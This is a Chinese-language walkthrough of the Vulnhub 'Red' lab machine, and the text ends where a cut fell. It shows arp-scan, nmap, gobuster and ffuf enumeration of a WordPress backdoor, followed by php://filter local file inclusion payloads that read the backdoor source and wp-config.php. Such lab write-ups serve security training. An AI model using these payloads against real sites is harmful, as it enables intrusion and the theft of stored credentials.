[Vulnhub]靶场 Red

kali:192.168.56.104

主机发现

arp-scan -l

# arp-scan -l                             Interface: eth0, type: EN10MB, MAC: 00:0c:29:d2:e0:49, IPv4: 192.168.56.104Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)192.168.56.1    0a:00:27:00:00:05       (Unknown: locally administered)192.168.56.100  08:00:27:ed:b4:24       PCS Systemtechnik GmbH192.168.56.112  08:00:27:89:06:41       PCS Systemtechnik GmbH

靶机:192.168.56.112

端口扫描

nmap -p- 192.168.56.112

# nmap -p- 192.168.56.112Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-03 16:22 CSTNmap scan report for 192.168.56.112Host is up (0.00076s latency).Not shown: 65533 closed tcp ports (reset)PORT   STATE SERVICE22/tcp open  ssh80/tcp open  http

开启了22 80端口

进入web发现是个wordpress服务,并且提示由后门文件

源码里面发现了域名

kali 添加hosts

192.168.56.112 redrocks.win

先扫一下目录，kali自带一个后门字典

gobuster dir -u http://redrocks.win -w /usr/share/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt

# gobuster dir -u http://redrocks.win -w /usr/share/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt===============================================================Gobuster v3.6by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)===============================================================[+] Url:                     http://redrocks.win[+] Method:                  GET[+] Threads:                 10[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt[+] Negative Status codes:   404[+] User Agent:              gobuster/3.6[+] Timeout:                 10s===============================================================Starting gobuster in directory enumeration mode===============================================================Progress: 422 / 423 (99.76%)/NetworkFileManagerPHP.php (Status: 500) [Size: 0]

有个NetworkFileManagerPHP.php文件

fuzzu一下参数

ffuf -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u 'http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=123' -fs 0

爆破出来参数是key,并且发现可以LFI

直接包含NetworkFileManagerPHP.php失败，用php伪协议包含

http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/convert.base64-encode/resource=NetworkFileManagerPHP.php

base64解码

注释由一段base64字符串，解码得到

That password alone won't help you! Hashcat says rules are rules

包含一下wp配置文件看看密码是什么

http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/convert.base64-encode/resource=wp-config.php